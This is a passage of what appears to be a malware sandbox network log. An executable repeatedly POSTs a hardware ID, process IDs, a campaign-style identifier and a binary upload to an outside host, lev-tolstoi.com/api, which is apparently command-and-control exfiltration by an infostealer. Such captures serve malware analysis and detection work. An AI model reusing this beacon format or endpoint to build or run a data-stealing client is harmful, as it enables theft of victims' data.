2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 54 46 75 62 6b 31 66 66 41 61 4c 48 46 52 6b 4e 68 47 54 41 65 75 79 58 48 30 36 49 38 43 59 7a 30 59 5a 2b 6a 47 47 36 67 78 64 35 36 44 76 69 35 6a 36 68 67 79 66 52 61 48 6e 31 67 44 42 36 71 50 4a 72 65 67 7a 55 78 68 4a 6c 63 34 71 65 59 5a 70 44 4a 67 6d 35 72 36 4f 79 4c 38 56 7a 74 37 55 64 66 57 57 51 49 42 72 34 6b 37 76 4f 75 49 43 58 51 31 48 6d 33 6b 78 67 53 74 50 6e 65 57 6a 4c 41 75 59 2b 38 54 4d 58 6f 58 6a 35 59 66 51 6b 43 6c 6b 57 6e 73 6f 4b 41 4a 64 6a 6b 62 64 71 76 38 53 62 68 2f 62 64 61 4d 74 6d 51 30 70 52 38 35 64 42 4b 45 6d 56 77 45 43 37 43 4a 4f 37 4c 74 68 68 35 67 4f 78 6c 71 36 74 51 44 71 54 64 33 6e 34 43 7a 49 57 76 68 56 33 49 33 46 70 66 57 42 30 77 68 72 34 49 6c 76 76 65 44 54 48 6c 77 44 69 44 75 79 6b 6e 2f 63 Data Ascii: TFubk1ffAaLHFRkNhGTAeuyXH06I8CYz0YZ+jGG6gxd56Dvi5j6hgyfRaHn1gDB6qPJregzUxhJlc4qeYZpDJgm5r6OyL8Vzt7UdfWWQIBr4k7vOuICXQ1Hm3kxgStPneWjLAuY+8TMXoXj5YfQkClkWnsoKAJdjkbdqv8Sbh/bdaMtmQ0pR85dBKEmVwEC7CJO7Lthh5gOxlq6tQDqTd3n4CzIWvhV3I3FpfWB0whr4IlvveDTHlwDiDuykn/c
2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 36 61 69 7a 69 44 33 77 76 55 61 57 56 53 77 38 4b 34 4c 77 71 75 75 36 45 47 69 59 68 57 58 6d 70 77 51 58 6e 61 54 53 62 69 72 49 69 66 75 6f 61 50 33 6b 66 67 4a 4e 51 42 41 43 69 68 43 79 77 36 34 67 50 61 7a 6f 46 61 75 6e 4f 44 4b 59 37 66 74 62 46 2b 69 4e 30 70 55 39 38 52 67 61 45 31 47 6f 50 44 71 79 4f 50 2f 54 2f 7a 52 55 6d 4f 52 73 67 73 59 59 45 72 7a 52 78 6d 59 71 77 4b 6d 6e 76 47 7a 52 35 45 70 32 5a 57 77 77 4d 71 6f 4d 6b 75 75 53 4c 42 57 30 31 45 57 44 6f 7a 45 6e 70 63 58 4f 4f 79 2b 4a 6b 57 4f 49 62 4d 58 68 54 75 70 56 52 41 67 65 30 79 54 62 36 2b 63 4d 4c 61 6e 35 50 49 4f 58 50 43 61 77 37 63 4a 61 4d 74 79 46 76 34 68 51 78 63 42 75 42 6b 56 73 41 43 61 2b 50 4b 62 50 6b 68 68 35 6a 4e 78 74 73 71 59 68 4a 6f 43 6b 30 7a 73 Data Ascii: 6aiziD3wvUaWVSw8K4Lwquu6EGiYhWXmpwQXnaTSbirIifuoaP3kfgJNQBACihCyw64gPazoFaunODKY7ftbF+iN0pU98RgaE1GoPDqyOP/T/zRUmORsgsYYErzRxmYqwKmnvGzR5Ep2ZWwwMqoMkuuSLBW01EWDozEnpcXOOy+JkWOIbMXhTupVRAge0yTb6+cMLan5PIOXPCaw7cJaMtyFv4hQxcBuBkVsACa+PKbPkhh5jNxtsqYhJoCk0zs
2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 70 55 39 38 66 68 69 64 6d 46 45 46 44 61 53 42 4c 72 72 74 69 41 70 74 4f 52 42 6d 35 4d 34 45 6f 6a 4a 31 6b 6f 47 6f 4a 32 66 76 47 6a 59 33 58 38 2b 52 52 30 78 59 34 71 34 6c 6e 66 43 59 48 6e 42 2b 43 43 37 77 68 67 36 72 63 53 7a 57 69 4c 55 74 59 2b 30 66 4d 33 67 56 67 5a 42 5a 41 51 57 74 67 7a 75 38 37 6f 34 48 61 54 55 46 59 4f 54 43 42 61 4d 35 66 35 7a 4c 39 47 52 72 2f 56 64 6b 4e 79 53 43 6d 56 38 50 46 75 4b 57 5a 36 32 67 68 41 41 6d 5a 6c 64 73 35 38 59 47 71 7a 31 2f 6e 6f 71 32 4b 6d 76 67 48 6a 52 2f 41 34 36 53 56 77 30 4f 72 59 67 74 73 65 57 48 43 32 49 34 47 43 43 6e 68 67 36 2f 63 53 7a 57 70 4a 30 52 4c 73 51 74 66 47 68 66 6c 74 5a 59 41 45 44 36 79 53 57 33 37 49 73 44 59 44 63 62 61 75 44 4e 42 61 77 31 65 4a 2b 4f 76 43 56 Data Ascii: pU98fhidmFEFDaSBLrrtiAptORBm5M4EojJ1koGoJ2fvGjY3X8+RR0xY4q4lnfCYHnB+CC7whg6rcSzWiLUtY+0fM3gVgZBZAQWtgzu87o4HaTUFYOTCBaM5f5zL9GRr/VdkNySCmV8PFuKWZ62ghAAmZlds58YGqz1/noq2KmvgHjR/A46SVw0OrYgtseWHC2I4GCCnhg6/cSzWpJ0RLsQtfGhfltZYAED6ySW37IsDYDcbauDNBaw1eJ+OvCV
2024-12-28 09:04:07 UTC	913	IN	Data Raw: 6e 41 59 6e 5a 68 53 41 77 69 71 67 43 69 77 35 59 34 4b 61 6a 51 57 5a 2b 66 49 41 65 64 2f 4e 4a 47 54 2b 6e 77 73 78 41 63 6e 5a 51 65 43 74 31 49 44 51 4c 33 48 4d 50 54 6e 6a 30 77 2b 66 68 35 79 37 63 73 62 72 6a 5a 36 6d 59 69 6f 4a 57 48 75 42 54 74 34 46 59 69 61 57 51 4d 47 6f 34 77 6a 75 4f 65 47 42 32 6b 79 56 79 36 70 77 52 48 6e 61 54 53 34 67 4b 6b 7a 62 2b 73 63 4b 6d 78 52 6b 4e 68 47 54 41 65 75 79 58 48 30 34 34 67 48 59 6a 34 62 59 4f 33 4c 43 62 55 2b 63 35 47 43 73 54 5a 6d 34 68 41 33 66 78 71 41 6b 45 30 41 44 72 43 4d 4f 36 61 67 7a 55 78 68 4a 6c 63 34 71 66 41 4f 74 79 46 33 31 4c 71 73 4a 33 72 75 47 6a 41 33 44 73 47 50 48 77 73 4d 34 74 46 70 73 75 2b 4b 44 32 6b 2f 48 6d 7a 6b 77 77 43 69 4d 48 4b 53 67 62 41 6b 61 75 4d 57 Data Ascii: nAYnZhSAwiqgCiw5Y4KajQWZ+fIAed/NJGT+nwsxAcnZQeCt1IDQL3HMPTnj0w+fh5y7csbrjZ6mYioJWHuBTt4FYiaWQMGo4wjuOeGB2kyVy6pwRHnaTS4gKkzb+scKmxRkNhGTAeuyXH044gHYj4bYO3LCbU+c5GCsTZm4hA3fxqAkE0ADrCMO6agzUxhJlc4qfAOtyF31LqsJ3ruGjA3DsGPHwsM4tFpsu+KD2k/HmzkwwCiMHKSgbAkauMW
2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 33 34 39 30 0d 0a 36 59 55 48 5a 54 51 59 5a 2b 2f 43 43 61 77 32 65 70 43 4f 73 53 30 73 71 31 63 37 62 31 48 58 31 6e 6b 76 45 72 43 37 4a 37 66 37 77 78 4d 6f 4a 31 64 6e 35 59 5a 52 35 7a 70 38 6d 5a 6d 2f 4c 57 54 68 48 6a 78 7a 47 34 4b 52 58 77 6b 4e 70 34 30 6e 73 4f 65 44 41 47 6b 35 48 32 2f 74 78 67 62 6e 66 7a 53 52 6b 2f 70 38 4c 4d 55 63 4b 6c 59 66 68 49 51 66 45 30 36 37 79 53 36 34 6f 4e 74 4d 61 44 63 57 61 4f 66 4b 41 61 4d 6a 64 4a 32 43 74 53 56 6a 35 52 51 39 66 52 6d 64 6b 46 38 48 43 4b 57 42 4c 62 72 79 67 67 4d 6d 63 46 64 6e 38 59 5a 52 35 77 42 69 6b 59 79 31 5a 6b 58 69 44 44 31 39 45 6f 53 61 48 78 4e 4f 75 38 6b 75 75 4b 44 62 54 47 73 79 47 6d 54 37 79 67 6d 6e 4f 48 4f 63 6d 62 55 72 59 65 59 58 4f 57 55 51 6e 5a 6c 55 43 Data Ascii: 34906YUHZTQYZ+/CCaw2epCOsS0sq1c7b1HX1nkvErC7J7f7wxMoJ1dn5YZR5zp8mZm/LWThHjxzG4KRXwkNp40nsOeDAGk5H2/txgbnfzSRk/p8LMUcKlYfhIQfE067yS64oNtMaDcWaOfKAaMjdJ2CtSVj5RQ9fRmdkF8HCKWBLbryggMmcFdn8YZR5wBikYy1ZkXiDD19EoSaHxNOu8kuuKDbTGsyGmT7ygmnOHOcmbUrYeYXOWUQnZlUC
2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 69 70 75 75 52 42 32 34 39 47 57 6a 67 78 67 65 6e 4d 48 6d 57 79 2f 52 6b 61 2f 31 58 5a 44 63 30 72 49 46 4a 42 6b 4b 42 6e 6a 2b 2b 35 34 38 61 62 54 38 55 64 75 54 57 53 65 6c 78 5a 5a 47 61 2b 6e 78 36 39 51 41 37 61 46 2b 57 31 6c 67 41 51 50 72 4a 49 72 76 75 6a 67 64 69 4e 78 4a 6f 36 73 4d 4d 72 54 31 34 6c 34 4f 7a 4c 6d 6e 67 45 54 5a 30 48 34 43 58 55 77 67 4a 72 49 42 70 2b 71 43 45 46 43 5a 6d 56 31 62 35 77 52 47 71 49 54 61 6b 69 4b 73 31 65 65 67 48 4f 6a 55 2b 6a 4a 70 63 43 51 65 79 79 54 62 36 2b 63 4d 4c 61 6e 35 50 49 4f 6e 43 42 61 51 32 65 70 6d 47 74 53 4e 6e 36 68 30 79 5a 52 36 4b 6e 6c 4d 45 44 62 43 44 49 36 62 70 69 67 46 6f 4e 67 56 6a 71 59 68 4a 6f 43 6b 30 7a 73 75 49 4c 6d 2f 70 41 54 46 34 55 5a 44 59 52 6b 77 48 72 73 Data Ascii: ipuuRB249GWjgxgenMHmWy/Rka/1XZDc0rIFJBkKBnj++548abT8UduTWSelxZZGa+nx69QA7aF+W1lgAQPrJIrvujgdiNxJo6sMMrT14l4OzLmngETZ0H4CXUwgJrIBp+qCEFCZmV1b5wRGqITakiKs1eegHOjU+jJpcCQeyyTb6+cMLan5PIOnCBaQ2epmGtSNn6h0yZR6KnlMEDbCDI6bpigFoNgVjqYhJoCk0zsuILm/pATF4UZDYRkwHrs
2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 67 30 77 6f 66 68 67 67 73 66 39 4a 37 33 46 4c 32 4d 75 69 5a 44 53 6c 49 6a 39 35 48 34 69 41 54 6b 45 6a 74 5a 38 6a 72 36 4b 6c 43 33 63 33 41 57 33 37 68 6b 66 6e 4e 7a 54 4f 32 2f 52 6b 61 50 52 58 5a 43 64 44 31 4d 4d 4d 57 31 44 77 6c 6d 65 74 6f 4a 56 4d 50 6d 78 5a 49 50 75 47 55 65 64 32 64 34 53 5a 76 43 64 36 35 6c 41 43 53 54 47 45 67 46 34 42 43 36 36 33 46 36 48 6a 6a 51 4a 68 4b 41 59 67 70 34 59 47 35 32 6c 4e 31 73 50 36 47 79 4b 6c 44 33 77 76 55 62 71 56 55 51 49 48 74 4a 68 6b 6c 4f 75 56 44 57 73 31 47 79 4c 6f 79 78 6d 67 63 54 72 57 6a 66 70 38 50 4b 74 58 4f 47 5a 52 31 38 59 4e 56 31 58 78 33 6e 6e 6d 2f 38 30 56 4a 69 68 58 4f 4c 75 49 53 62 56 78 4c 4e 62 4d 75 54 5a 2b 34 78 51 71 64 46 61 78 71 48 38 48 44 4b 47 46 4b 4c 4f Data Ascii: g0wofhggsf9J73FL2MuiZDSlIj95H4iATkEjtZ8jr6KlC3c3AW37hkfnNzTO2/RkaPRXZCdD1MMMW1DwlmetoJVMPmxZIPuGUed2d4SZvCd65lACSTGEgF4BC663F6HjjQJhKAYgp4YG52lN1sP6GyKlD3wvUbqVUQIHtJhklOuVDWs1GyLoyxmgcTrWjfp8PKtXOGZR18YNV1Xx3nnm/80VJihXOLuISbVxLNbMuTZ+4xQqdFaxqH8HDKGFKLO
2024-12-28 09:04:07 UTC	1369	IN	Data Raw: 6d 5a 48 4d 72 4b 54 57 76 42 68 4a 6f 6e 46 6f 32 52 36 70 55 39 75 4f 56 47 64 31 67 64 4d 52 36 47 62 4f 37 4c 6a 6c 51 38 68 41 43 6c 47 36 73 45 50 70 44 39 6a 68 38 6d 56 4a 32 66 70 47 7a 74 68 4c 37 47 44 58 41 49 4f 70 5a 38 34 39 4b 37 44 41 79 5a 6d 4c 69 44 34 7a 41 37 72 65 54 69 48 6d 4c 51 76 65 75 4a 58 41 7a 6c 52 6c 39 59 48 54 44 57 68 68 79 65 7a 39 70 4a 42 51 44 30 51 5a 75 72 49 48 72 5a 78 4f 74 61 4e 2b 6e 77 2b 71 31 63 34 5a 6c 48 58 78 67 31 58 56 66 48 65 65 65 62 2f 7a 52 55 6d 4b 46 63 34 75 6f 68 4a 74 58 45 73 31 73 79 30 4b 57 33 6d 47 54 39 6c 41 34 6d 56 53 51 39 48 6e 4c 63 4d 75 65 32 47 41 6d 45 41 4b 55 48 6a 31 67 53 6f 4e 6b 71 6f 76 4b 73 6a 66 4b 63 78 50 32 45 53 7a 39 67 66 46 45 44 36 79 51 69 2b 38 49 34 44 Data Ascii: mZHMrKTWvBhJonFo2R6pU9uOVGd1gdMR6GbO7LjlQ8hAClG6sEPpD9jh8mVJ2fpGzthL7GDXAIOpZ849K7DAyZmLiD4zA7reTiHmLQveuJXAzlRl9YHTDWhhyez9pJBQD0QZurIHrZxOtaN+nw+q1c4ZlHXxg1XVfHeeeb/zRUmKFc4uohJtXEs1sy0KW3mGT9lA4mVSQ9HnLcMue2GAmEAKUHj1gSoNkqovKsjfKcxP2ESz9gfFED6yQi+8I4D

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49703	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:09 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B2UI485IFGJDW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12814 Host: lev-tolstoi.com
2024-12-28 09:04:09 UTC	12814	OUT	Data Raw: 2d 2d 42 32 55 49 34 38 35 49 46 47 4a 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 37 45 35 46 37 41 44 43 35 33 34 31 32 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 42 32 55 49 34 38 35 49 46 47 4a 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 32 55 49 34 38 35 49 46 47 4a 44 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 32 55 49 34 38 35 49 46 47 4a Data Ascii: --B2UI485IFGJDWContent-Disposition: form-data; name="hwid"267E5F7ADC53412BBEBA0C6A975F1733--B2UI485IFGJDWContent-Disposition: form-data; name="pid"2--B2UI485IFGJDWContent-Disposition: form-data; name="lid"PsFKDg--pablo--B2UI485IFGJ
2024-12-28 09:04:09 UTC	1124	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2pk2dhiaf7b54hccsl07n2l08m; expires=Wed, 23 Apr 2025 02:50:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vS9iNGl66AiyLdrGI2%2F4tVNElBLGkz5z25r6b7KAuNE05DDSgbgVrpzIyz3XiwXEeyGQYdvBCxpvmnrYIlMm%2FwcgS4UPtxldddMAdW2zRnDyPJJbVV98rZ2wCBdRSN753wQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9061996eac7cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2027&rtt_var=765&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2835&recv_bytes=13748&delivery_rate=1440552&cwnd=176&unsent_bytes=0&cid=d19dc8a1efd6c5f7&ts=897&x=0"
2024-12-28 09:04:09 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:04:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49705	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:11 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HREJKSKTPR8GGCCUGV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15076 Host: lev-tolstoi.com
2024-12-28 09:04:11 UTC	15076	OUT	Data Raw: 2d 2d 48 52 45 4a 4b 53 4b 54 50 52 38 47 47 43 43 55 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 37 45 35 46 37 41 44 43 35 33 34 31 32 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 52 45 4a 4b 53 4b 54 50 52 38 47 47 43 43 55 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 52 45 4a 4b 53 4b 54 50 52 38 47 47 43 43 55 47 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --HREJKSKTPR8GGCCUGVContent-Disposition: form-data; name="hwid"267E5F7ADC53412BBEBA0C6A975F1733--HREJKSKTPR8GGCCUGVContent-Disposition: form-data; name="pid"2--HREJKSKTPR8GGCCUGVContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-28 09:04:13 UTC	1128	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1d9frjll9i14h2car5kj5f0mnf; expires=Wed, 23 Apr 2025 02:50:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jr028mQ5NcGkfq0nKKqPLsi4Kc%2F3w2Cf87m15T%2BOOfTo3T3I0eQSOagH62vL5DpifU4vUaJKiLZuMyDA2nSVCe%2FNbJg4hkhFg0aKhTQ5M6CXl6r2lulRRcvTTUd3NE5KHFg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9061aa2b3043c2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1744&min_rtt=1738&rtt_var=665&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2835&recv_bytes=16015&delivery_rate=1629464&cwnd=162&unsent_bytes=0&cid=73fd4e25a16c5ae6&ts=1527&x=0"
2024-12-28 09:04:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:04:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49716	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:15 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KIDT7BGRLL2NKIJQMZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: lev-tolstoi.com
2024-12-28 09:04:15 UTC	15331	OUT	Data Raw: 2d 2d 4b 49 44 54 37 42 47 52 4c 4c 32 4e 4b 49 4a 51 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 37 45 35 46 37 41 44 43 35 33 34 31 32 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 49 44 54 37 42 47 52 4c 4c 32 4e 4b 49 4a 51 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 49 44 54 37 42 47 52 4c 4c 32 4e 4b 49 4a 51 4d 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --KIDT7BGRLL2NKIJQMZContent-Disposition: form-data; name="hwid"267E5F7ADC53412BBEBA0C6A975F1733--KIDT7BGRLL2NKIJQMZContent-Disposition: form-data; name="pid"3--KIDT7BGRLL2NKIJQMZContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-28 09:04:15 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d ae 2f f8 f5 58 Data Ascii: (X6K~`iO\_,mi`m?ls}Qm/X
2024-12-28 09:04:16 UTC	1128	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=21ge7sl96dqu8q3ce0fpt3df2h; expires=Wed, 23 Apr 2025 02:50:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QcZ5gAYRugjT6UjGD2wCsQxNJFnFW341zZqOlCp65lLnj%2Fo00YsNysxk7ZT2RZu6MFR2xYD3pY6T%2FssoxQ9099XvZ7FXF6ZZV%2BphYxldGxCPJ1fcgkZESgrb3dFR34Knbq0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9061bee9c44405-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2102&min_rtt=2099&rtt_var=793&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21362&delivery_rate=1374764&cwnd=224&unsent_bytes=0&cid=bc797330930a3179&ts=1420&x=0"
2024-12-28 09:04:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 09:04:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49725	172.67.157.254	443	3732	C:\Users\user\Desktop\XYQ1pqHNiT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 09:04:18 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PMW76VVZGW6KKP1Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1214 Host: lev-tolstoi.com
2024-12-28 09:04:18 UTC	1214	OUT	Data Raw: 2d 2d 50 4d 57 37 36 56 56 5a 47 57 36 4b 4b 50 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 37 45 35 46 37 41 44 43 35 33 34 31 32 42 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 50 4d 57 37 36 56 56 5a 47 57 36 4b 4b 50 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 4d 57 37 36 56 56 5a 47 57 36 4b 4b 50 31 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 50 4d Data Ascii: --PMW76VVZGW6KKP1YContent-Disposition: form-data; name="hwid"267E5F7ADC53412BBEBA0C6A975F1733--PMW76VVZGW6KKP1YContent-Disposition: form-data; name="pid"1--PMW76VVZGW6KKP1YContent-Disposition: form-data; name="lid"PsFKDg--pablo--PM
2024-12-28 09:04:19 UTC	1128	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 09:04:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4pffucauulo8nkuknk1j2j71o1; expires=Wed, 23 Apr 2025 02:50:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x1dqqsOfESuDQbWPIo%2Bn4Mueihx%2BlxRKwykZAVxrksotQvWEksLpQAu6wyeRdT8QRyNo8Dw4UNAf4%2FIf%2FD3EVWEe673IqnURKAPzjuy%2Bqbg3UXLLoDsGSK93jp6sfkLbvmU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f9061d3bb86de9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: 